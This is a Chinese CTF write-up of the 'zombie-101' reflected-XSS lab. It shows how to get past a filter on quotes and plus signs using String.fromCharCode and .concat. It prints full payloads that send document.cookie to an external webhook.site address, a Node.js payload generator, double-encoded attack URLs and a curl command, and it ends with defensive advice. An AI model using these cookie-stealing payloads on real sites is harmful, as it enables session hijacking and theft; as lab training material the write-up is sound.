XSS绕过实战:利用String.fromCharCode与concat突破字符过滤
2026/7/4 12:10:38 网站建设 项目流程

1. 项目概述与核心思路拆解

最近在Bugku平台上看到一个挺有意思的Web安全挑战,题目叫“zombie-101”。这本质上是一个典型的反射型XSS(跨站脚本攻击)实战场景,但题目设计者加入了一些巧妙的过滤规则,让整个解题过程变得不那么直白。我花了些时间研究,发现它完美地模拟了真实环境中Web应用防火墙(WAF)对XSS攻击的防御,以及攻击者如何绕过这些防御。如果你正在学习Web安全,尤其是想深入理解XSS的绕过技巧和数据外带(Exfiltration)方法,这个靶场绝对值得一玩。

简单来说,这个靶场模拟了一个僵尸电影评分网站。它有两个核心功能:一个是对电影名称进行评价回显的/zombie端点,另一个是触发管理员机器人(Admin Bot)访问指定URL的/visit端点。我们的目标很明确:构造一个特殊的XSS Payload,通过/zombie端点注入,然后利用/visit端点让Admin Bot(模拟网站管理员)去访问这个被注入了Payload的页面。当Admin Bot的浏览器执行了我们的恶意脚本,我们就能窃取其Cookie,其中就包含了我们梦寐以求的Flag。

整个挑战的难点不在于发现XSS漏洞本身,而在于如何绕过靶场设置的字符过滤规则,并成功地将窃取到的Cookie数据发送到我们可控的外部服务器上。这要求我们对JavaScript语法、字符串构造技巧以及HTTP请求的发起方式有比较深入的理解。下面,我就把整个解题过程、踩过的坑以及最终的有效Payload构造方法,毫无保留地分享出来。

2. 靶场环境分析与信息收集

2.1 初始访问与功能点探测

拿到靶场地址(例如http://49.232.142.230:14391),第一步永远是信息收集。访问首页,页面通常比较简洁,我们需要快速定位所有可交互的输入点。

很快就能发现两个关键接口:

  1. /zombie?show=:这是一个GET请求接口。参数show接收一个电影名称,页面会返回对该电影的“评价”。例如,输入/zombie?show=Night%20of%20the%20Living%20Dead,页面可能会显示“Wow, we really likedNight of the Living Dead!”。这种将用户输入直接回显到页面上的行为,是反射型XSS的典型特征。
  2. /visit?url=:这也是一个GET请求接口。参数url接收一个地址。根据描述,提交后,一个名为“Admin Bot”或“Zombie.js”的模拟浏览器会去访问这个URL。这模拟了管理员查看用户报告链接的场景,是触发XSS的关键。

注意:在实际操作中,一定要用Burp Suite、浏览器开发者工具的网络面板或者简单的curl命令,仔细查看每个请求的响应头和响应体。有时关键信息(如CSP策略、Cookie设置方式)就藏在里面。

2.2 WAF过滤规则试探

知道有XSS注入点后,不能直接莽上去扔一个<script>alert(1)</script>。靶场通常设有过滤。我们需要系统性地试探哪些字符或标签被允许,哪些被阻止。

题目设计得很友好,它通过三种不同的响应文本,清晰地反馈了过滤结果:

  • “Wow, we really liked ...”:这意味着Payload成功通过过滤,并且很可能被浏览器解析执行了。
  • “Yeah, ... was ok”:这是一个模糊地带。Payload可能被部分过滤或修改,导致无法执行,也可能在某些条件下执行。需要进一步测试。
  • “Sorry, ... was horrible”:这明确表示Payload被WAF拦截或过滤掉了。

我的测试方法是,先提交一些基础的测试向量,观察响应:

测试Payload响应初步分析
<script>alert(1)</script>“Wow”基础<script>标签未被过滤,好消息!
<img src=x onerror=alert(1)>“Sorry”onerror事件处理器或被img标签本身被过滤。
<svg/onload=alert(1)>“Yeah”svg标签和onload事件可能被放行,但需要确认是否能执行。
(单引号)“Sorry”关键发现1:单引号被过滤。这会影响我们用引号包裹字符串。
+(加号)“Sorry”关键发现2:加号被过滤。这会影响字符串拼接。
`(反引号)“Yeah”反引号(模板字符串)未被明确拦截,但状态不明。
(双引号)“Wow”双引号可用!这是一个重要的突破口。
.=,()“Wow”点号、等号、逗号、括号都正常,为构造复杂Payload保留了空间。

通过以上测试,我们摸清了WAF的基本规则:它似乎采用了一个字符黑名单,主要拦截了单引号()和加号(+)。对于HTML标签和事件属性的过滤可能也有,但<script>标签是畅通的。这给我们指明了一条路:只要避免使用单引号和加号,我们就能在<script>标签内编写有效的JavaScript代码。

2.3/visit端点的关键限制

在构造Payload之前,必须理解/visit端点的限制。尝试提交一个外部Webhook地址(如https://webhook.site/xxx),通常会返回错误提示:Please provide a url with a hostname of: 49.232.142.230

这意味着,/visit?url=参数中的URL,其主机名必须是靶场服务器自身(49.232.142.230)。我们不能直接让Admin Bot访问我们的外部服务器。这增加了难度,因为我们需要先将XSS Payload注入到靶场服务器的一个页面上(即/zombie?show=),然后再让Admin Bot访问这个“被污染”的靶场页面。

然而,这里存在一个关键点:同源策略(Same-Origin Policy)限制的是读取响应,而不是发送请求。一旦我们的XSS脚本在Admin Bot的浏览器中执行,它就可以向任何域发起网络请求(如Image.src,fetch,location.href),尽管由于CORS限制,脚本无法读取外部域的响应内容,但请求本身会被发送出去。这对于数据外带来说已经足够了——我们可以把窃取的数据(如Cookie)放在请求的URL参数里,发送到我们的接收服务器。

3. Payload构造与绕过技巧详解

3.1 核心挑战:无引号与加号的字符串构造

我们的攻击目标是:让Admin Bot访问一个嵌入了恶意脚本的页面,脚本执行后,读取document.cookie,并将其发送到我们控制的Webhook服务器。

最简单的想法是:

<script>window.location=‘https://webhook.site/xxx?c=‘ + document.cookie</script>

但这里用到了单引号加号,触发了WAF规则,会被过滤。

因此,我们需要解决两个问题:

  1. 如何表示字符串‘https://webhook.site/xxx?c=‘而不使用引号?
  2. 如何拼接这个字符串和document.cookie而不使用加号?
3.1.1 使用String.fromCharCode()替代引号

String.fromCharCode()是JavaScript中的一个全局函数,它接受一系列Unicode码点(数字)作为参数,返回由这些码点对应的字符组成的字符串。例如,String.fromCharCode(104, 105)返回字符串”hi”

我们可以将Webhook URL的每一个字符转换成对应的ASCII码(‘h‘是104,‘i‘是105),然后用String.fromCharCode()重新构造出这个字符串。这样就完全避免了在代码中直接书写引号包裹的字符串字面量。

转换过程示例: 假设Webhook地址是https://webhook.site/xxx?c=。 我们需要写一个脚本(可以用Python、Node.js或在线工具)来转换:

webhook_url = “https://webhook.site/xxx?c=“ charcodes = [str(ord(c)) for c in webhook_url] print(‘,‘.join(charcodes)) # 输出: 104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61

现在,String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61)就等价于我们的Webhook URL字符串。

3.1.2 使用.concat()方法替代加号

在JavaScript中,字符串有一个concat()方法,用于连接两个或多个字符串,并返回新的字符串。str1.concat(str2)的效果等同于str1 + str2

因此,我们可以用.concat()方法来拼接String.fromCharCode(...)生成的Webhook字符串和document.cookie

组合起来: 最终的JavaScript代码核心部分就变成了:

window.location = String.fromCharCode(104,116,116,...).concat(document.cookie)

这段代码完美避开了被过滤的+

3.2 完整Payload组装与URL编码

现在,我们需要把这段JavaScript代码放入HTML的<script>标签中,并作为show参数的值提交。

完整的Payload雏形是:

<script>window.location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,120,120,120,63,99,61).concat(document.cookie)</script>

但是,这里有一个至关重要的细节:URL编码与双重编码

  1. 第一层编码:我们的Payload需要作为/zombie?show=这个URL的查询参数值。在URL中,许多字符(如<,>,=,&,空格,%等)有特殊含义,必须进行百分比编码(URL encode)才能安全传输。例如,<变成%3C>变成%3E。 所以,我们需要将整个Payload进行一次URL编码。

  2. 第二层编码:这个编码后的URL,又会作为/visit?url=参数的值。/visit端点会解码一次这个参数,然后将解码后的URL交给Admin Bot去访问。Admin Bot访问时,浏览器会对URL再次解码。因此,为了确保最终到达/zombie端点的show参数值是我们原始的Payload,我们需要进行双重URL编码。 也就是说,需要对Payload中原本需要编码的字符(如%本身)进行两次编码。例如,%第一次编码为%25,第二次编码时,这个%25中的%又会被编码,变成%2525。在实际操作中,最稳妥的方法是:先对Payload做一次完整的URL编码,得到字符串A;然后再对字符串A做一次完整的URL编码,得到字符串B。字符串B就是最终提交给/visit?url=的参数值。

实操心得:很多在线URL编码工具或编程语言的encodeURIComponent函数只做一次编码。手动处理双重编码很容易出错。我的做法是写一个小脚本,或者使用Burp Suite的Decoder模块,先编码一次,复制结果,再对结果编码一次。务必检查中间过程的%是否变成了%25

3.3 利用外部服务接收数据

我们需要一个地方来接收Admin Bot发来的带有Cookie的请求。webhook.siterequestbin.com这类服务是绝佳选择。它们会提供一个唯一的URL,任何发往该URL的请求都会被记录下方法、头部、参数等信息,并且可以实时查看。

webhook.site为例:

  1. 打开https://webhook.site
  2. 它会自动生成一个唯一的URL,格式如https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6
  3. 我们在这个URL后面加上查询参数,比如?c=,用于接收Cookie。所以最终用在Payload里的Webhook地址就是https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6?c=

重要提示:确保你的Webhook地址是https的,并且路径正确。有些靶场环境可能对协议有要求。

4. 完整攻击链与实操步骤

4.1 步骤一:生成最终的攻击URL

我们可以手动拼接,但更推荐写一段简单的脚本(Python或Node.js)来自动化这个过程,避免编码错误。

Node.js 示例脚本:

const webhookBase = ‘https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6‘; const webhookUrl = webhookBase + ‘?c=‘; // 接收参数c // 1. 将Webhook URL转换为String.fromCharCode参数 const charCodes = [...webhookUrl].map(c => c.charCodeAt(0)).join(‘,‘); // 2. 构造XSS Payload (注意避免使用单引号,这里用反引号包裹字符串,但最终Payload里没有引号) const payload = `<script>window.location=String.fromCharCode(${charCodes}).concat(document.cookie)</script>`; // 3. 对Payload进行一次URL编码,作为 /zombie?show= 的参数 const encodedPayload = encodeURIComponent(payload); const zombieUrl = `http://49.232.142.230:14391/zombie?show=${encodedPayload}`; // 4. 对zombieUrl进行第二次URL编码,作为 /visit?url= 的参数 const finalEncodedUrl = encodeURIComponent(zombieUrl); const finalAttackUrl = `http://49.232.142.230:14391/visit?url=${finalEncodedUrl}`; console.log(‘最终的攻击URL:’); console.log(finalAttackUrl); console.log(‘\nPayload内容:’); console.log(payload);

运行这个脚本,你会得到类似下面的最终URL:

http://49.232.142.230:14391/visit?url=http%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E

注意观察%253A%252F等,这就是双重编码的结果(%被编码为%25)。

4.2 步骤二:发起攻击并等待回调

将上面生成的finalAttackUrl完整复制,直接粘贴到浏览器的地址栏中访问,或者使用curl命令:

curl “http://49.232.142.230:14391/visit?url=http%253A%252F%252F49.232.142.230%253A14391%252Fzombie%253Fshow%253D%25253Cscript%25253Ewindow.location%25253DString.fromCharCode(104%252C116%252C116%252C112%252C115%252C58%252C47%252C47%252C119%252C101%252C98%252C104%252C111%252C111%252C107%252C46%252C115%252C105%252C116%252C101%252C47%252C120%252C120%252C120%252C63%252C99%252C61).concat(document.cookie)%25253C%25252Fscript%25253E”

访问后,如果服务端正常,通常会返回一个简单的成功消息,表示请求已提交给Admin Bot。此时,你需要快速切换到你的Webhook.site页面,刷新并等待新的请求出现。

4.3 步骤三:从Webhook捕获Flag

在Webhook.site的控制面板,你应该会很快看到一个新的请求记录。点击查看详情,重点检查两个地方:

  1. URL参数:查看请求的URL,我们的Cookie应该出现在?c=参数后面。例如,URL可能显示为https://webhook.site/01e9c89e-...?c=flag=wctf{...}
  2. 请求头:查看Cookie请求头,Flag通常直接以Cookie的形式存在。

你会在参数或Cookie中找到类似flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}的内容,这就是本题的Flag。

5. 深度技术解析与扩展思考

5.1 为什么String.fromCharCode().concat()能绕过?

这个靶场的WAF规则设计得非常经典,它模拟了现实中过于简单或配置不当的WAF。很多初级WAF规则只是简单地黑名单匹配<script>onerror=+等常见危险字符或字符串。String.fromCharCode.concat不属于常见XSS Payload字典中的高频词,因此可能被放过。

更重要的是,这种绕过方式利用了JavaScript语言的灵活性。它不依赖任何HTML事件属性(如onload,onerror),也不依赖eval()等敏感函数,仅仅使用了最基础的字符串操作和导航功能,因此隐蔽性相对较高。

5.2 其他可能的绕过思路探讨

虽然上述方法已经成功,但了解其他思路有助于应对更复杂的环境:

  1. 利用反引号(模板字符串):测试发现反引号返回“Yeah”,状态不明。如果可用,我们可以尝试:

    <script>window.location=`https://webhook.site/xxx?c=${document.cookie}`</script>

    这比String.fromCharCode简洁得多。但需要确认反引号是否真的允许执行,以及${}表达式是否被解析。

  2. 使用String.prototype.replace或数组join:如果.(点号)可用,我们可以用其他方式拼接字符串。

    // 使用数组join <script>window.location=[‘https://webhook.site/xxx?c=‘, document.cookie].join(”)</script> // 注意:这里数组字面量用了单引号,如果单引号被过滤则不行。可以用双引号或反引号试试。
  3. 使用location对象的其他属性:不一定非要window.location进行跳转。用new Image().src发起一个GET请求也是常见的数据外带方式,且不会导致页面跳转,更隐蔽。

    <script>new Image().src=String.fromCharCode(...).concat(document.cookie)</script>

    但需要注意,如果图片加载失败,某些浏览器可能不会发送请求。window.location则更为可靠。

  4. 分块编码与组合:如果WAF还过滤了scriptfromCharCode等关键词,可以考虑将关键字拆散,利用HTML解析特性或JavaScript语法技巧重新组合。例如,使用<scr+ipt>,或者利用eval(atob(‘…‘))执行Base64编码后的代码(前提是evalatob可用)。

5.3 关于Admin Bot与同源策略的深入理解

这个靶场巧妙地利用了同源策略的“单向性”。Admin Bot(模拟管理员会话)访问被注入的页面,该页面位于靶场域名下。XSS脚本在该域下执行,拥有该域的完整权限(包括读取该域的Cookie)。虽然/visit端点限制了Admin Bot只能访问同域URL,但脚本执行后发起的出站请求是不受同源策略禁止的。同源策略禁止的是跨域读取响应,而不是跨域发送请求

因此,我们的Payload通过window.locationnew Image().src向外部Webhook发起一个GET请求,并将Cookie作为URL参数附加,这个请求是完全可以发出的。Webhook服务器会收到这个请求,并在日志中记录下完整的URL,从而我们就能看到Cookie内容。这就是“盲打XSS”或“XSS数据外带”的基本原理。

5.4 防御视角:如何防范此类攻击?

从开发者和防御者的角度看,这个靶场暴露了几个关键问题:

  1. 不充分的输入过滤与输出编码:WAF仅过滤个别字符是远远不够的。正确的做法是,根据数据输出的上下文(HTML正文、HTML属性、JavaScript、URL),进行相应的编码或转义。例如,输出到HTML正文,应对<,>,&等进行HTML实体编码;输出到HTML属性,还要对引号编码;输出到<script>标签内,需进行JavaScript Unicode转义。
  2. 过于依赖黑名单:安全的策略应该是“默认拒绝,显式允许”(白名单)。对于电影名称这类输入,可以限制为字母、数字、空格和少数标点,而不是试图过滤所有危险字符。
  3. 设置安全的Cookie属性:如果Flag所在的Cookie设置了HttpOnly属性,那么JavaScript就无法通过document.cookie读取它,XSS窃取Cookie的攻击就会失效。这是防御XSS窃取会话标识符最有效的手段之一。
  4. 实施内容安全策略(CSP):一个严格的CSP可以阻止内联脚本的执行(unsafe-inline),并限制脚本只能从可信源加载。这能极大增加XSS利用的难度。例如,CSP头script-src ‘self‘将只允许执行同源脚本。
  5. 对用户提交的URL进行严格校验/visit端点虽然限制了主机名,但更好的做法是,不仅校验主机名,还可以校验URL路径是否在白名单内,或者使用一个完全独立的、无Cookie的“沙箱”环境来访问用户链接。

6. 常见问题与排查实录

在实际操作中,你可能会遇到一些问题。下面是我在多次尝试中总结的排查清单:

问题现象可能原因解决方案
提交/visitURL后无反应,Webhook收不到请求。1. Admin Bot处理有延迟或队列。
2. Payload执行出错,未发起请求。
3. 双重URL编码错误,导致Admin Bot访问的最终地址不正确。
1. 等待1-2分钟再刷新Webhook。
2. 先在浏览器中手动测试/zombie?show=你的Payload(单次编码),用开发者工具控制台看是否有JS错误。
3.仔细检查URL编码。确保%被编码为%25。使用脚本生成URL最可靠。
Webhook收到了请求,但c=参数为空或没有Cookie。1.document.cookie在该页面下为空。
2. Payload拼接错误,例如concat方法使用有误。
3. Cookie设置了HttpOnly(但本题没有)。
1. 确认靶场Flag确实存放在Cookie中。有时Flag可能在LocalStorage或其他地方。
2. 在本地用Node.js或浏览器控制台测试你的Payload逻辑是否正确。确保String.fromCharCode生成的字符串正确,且.concat(document.cookie)能正确拼接。
响应始终是“Sorry”,即使使用了String.fromCharCode1. Payload中可能混入了被过滤的其他字符(如测试时不小心留下的单引号)。
2. 靶场WAF规则可能更新或与你测试的不同。
3.<script>标签可能被某些正则过滤。
1. 逐字符检查Payload,确保绝对没有单引号和加号。
2. 尝试最简Payload:<script>alert(1)</script>,确认基础XSS是否仍可用。
3. 尝试不使用<script>标签,用其他标签和事件(如<body onload=...>),但注意避开onerror等可能被过滤的事件。
浏览器控制台显示“跨域请求被阻止”。这是正常现象!我们的目的是发送请求,而不是读取响应。CORS错误只意味着我们无法用JavaScript读取Webhook的返回内容,但请求已经成功发出。你可以在Webhook端看到这个请求,这就足够了。忽略浏览器控制台的CORS错误提示,直接去Webhook.site查看请求记录。
Webhook地址失效或无法访问。Webhook.site的token有时效性(通常几天),或者网络问题。重新在webhook.site生成一个新的URL,更新Payload中的ASCII码数组,重新生成攻击URL。确保使用https

最后一点个人体会:XSS绕过就像一场语法游戏,核心在于充分理解WAF的过滤逻辑和浏览器解析HTML/JavaScript的规则。zombie-101这个靶场提供了一个非常清晰的训练场,它用简单的规则(过滤+)迫使你去思考JavaScript中字符串的多种构造方式。在真实世界的漏洞挖掘中,WAF规则要复杂得多,可能需要结合HTML编码、JavaScript编码、混淆、冷门语法等多种技巧。但这个靶场打下的基础——手动转换String.fromCharCode、使用.concat拼接、注意双重URL编码——都是非常扎实的基本功。下次遇到更复杂的过滤,不妨先静下心来,系统地测试一下哪些字符和关键字被允许,然后像玩拼图一样,用允许的“积木”拼出你想要的攻击代码。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询